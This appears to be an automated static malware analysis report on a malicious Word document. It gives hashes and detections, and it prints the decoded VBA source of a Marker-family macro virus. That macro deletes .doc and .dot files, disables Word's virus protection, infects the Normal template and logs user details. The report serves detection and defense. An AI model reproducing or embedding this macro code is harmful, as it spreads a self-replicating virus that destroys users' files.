Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7fcf91e4d54f59fc…

MALICIOUS

Office (OLE)

67.5 KB Created: 2015-01-21 06:04:00 Authoring application: Microsoft Office Word First seen: 2020-06-02
MD5: 41974a1ce7b4476898d6f7b85ec37c35 SHA-1: e330006cd13ec194ac781e86fbc0ab53ed137d99 SHA-256: 7fcf91e4d54f59fc303f2d72b33587898ba929f427e64c4e087f38f3fcd1e221
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically triggering on Document_Open. The macro attempts to disable virus protection, modify application settings, and potentially establish persistence by writing to the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy. The presence of the 'Marker' constant and the truncated nature of the script suggest obfuscation and potential evasion techniques.

Heuristics 4

  • ClamAV: Doc.Trojan.Marker-35 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-35
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13196 bytes
SHA-256: ff341ed2f3a3b04e0e173936f4839f764956cf9113f7f21a804ad6bee8d45582
Detection
ClamAV: Doc.Trojan.Marker-13
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


'Seline, Where are you dear
Const Marker = "<- this is a marker! by jonhehehe TheBest-versi212x"
Private Sub Document_Open()
Document_Close
End Sub
Private Sub Document_Close()
Dim nmod As Object
Dim isd As String
Dim DS, NTS, DI, NTI As Boolean
Dim Jon, Users, LogData, LogFile As String
On Error Resume Next
AddIns.Unload True
Kill Options.DefaultFilePath(8) & "\*.doc"
Kill Options.DefaultFilePath(8) & "\*.dot"
Options.VirusProtection = False
Application.UserName = "JonMMx 2000"
Application.UserInitials = "MeMeX"
Application.UserAddress = "JonMMx2000@yahoo.com"
Application.EnableCancelKey = wdCancelDisabled
GoSub InsertIon
If (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", _
   "LogData in") = False) Then GoSub LoggingIn
If Weekday(Now()) = 1 Then GoSub ShowMe
GoTo Finish
InsertIon:
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
DI = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NTI = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
If (DI Xor NTI) And (ActiveDocument.SaveFormat = wdFormatDocument Or ActiveDocument.SaveFormat = wdFormatTemplate) Then
 If DI Then
   NTS = NormalTemplate.Saved
   Jon = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
   For i = 1 To Len(Application.UserAddress)
    If (Mid(Application.UserAddress, i, 1) <> Chr(13)) Then
       If (Mid(Application.UserAddress, i, 1) <> Chr(10)) Then
          Users = Users & Mid(Application.UserAddress, i, 1)
       End If
    Else
       Users = Users & Chr(13) & " '"
    End If
   Next
   Jon = Jon & Chr(13) & _
         "' " & Format(Time, "hh:mm:sc AMPM-") & _
                Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
         "' " & Application.UserName & Chr(13) & _
         "' " & Users & Chr(13) & Chr(13) & " "
   nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
   nt.CodeModule.AddFromString Jon
   If NTS Then NormalTemplate.Save
 End If
 If NTI Then
    DS = ActiveDocument.Saved
    Jon = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString Jon
    If DS Then ActiveDocument.Save
 End If
End If
Return
LoggingIn:
   System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogData in") = True
   GoSub ShowMe
Return
ShowMe:
Dim RootsyS As String
On Error Resume Next
 RootsyS = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "SystemRoot")
 Open RootsyS & "\Jon.html" For Output As #1
 Print #1, "<Html><head><title>Welcome to Destroyer of the last Manillenium JontheBEST</title></head><Body><body bgcolor = '#FFF212' >"
 Print #1, "<center><p align='center'><font color='#800000'size='25'><strong>a Poet For My Dear Love</strong></font></p>"
 Print #1, "<p align='center'><font color='#000000' size='6'><strong><a href='mailto:iamwaiting@yahoo.com'>Dear Iin</a></strong></font> </p>"
 Print #1, "<font normal></center>To the very best that happen in mylife<p>"
 Print #1, "<p>Long ago and in my mind, I can see your face lonely and lost in time "
 Print #1, "<p>You were gone since yester month But the memories, never would dissapear"
 Print #1, "<p>I think of you, I THINK OF YOU.<p>"
 Print #1, "<p>Yes it's true I can pretend. But the paint of blue, keep beat me till the end."
 Print #1, "<p>Yes it's hard to understand. Why you leaving me and all we dreaming on "
 Print #1, "<p>Dear Iin, I close my eyes and see your face.  That's all I have to do to be with you. "
 Print #1, "<p>Dear Iin, altough I can not touch your face.  I know what I can do to be with you "
 Print #1, "<p>Long ago so faraway. But t
... (truncated)

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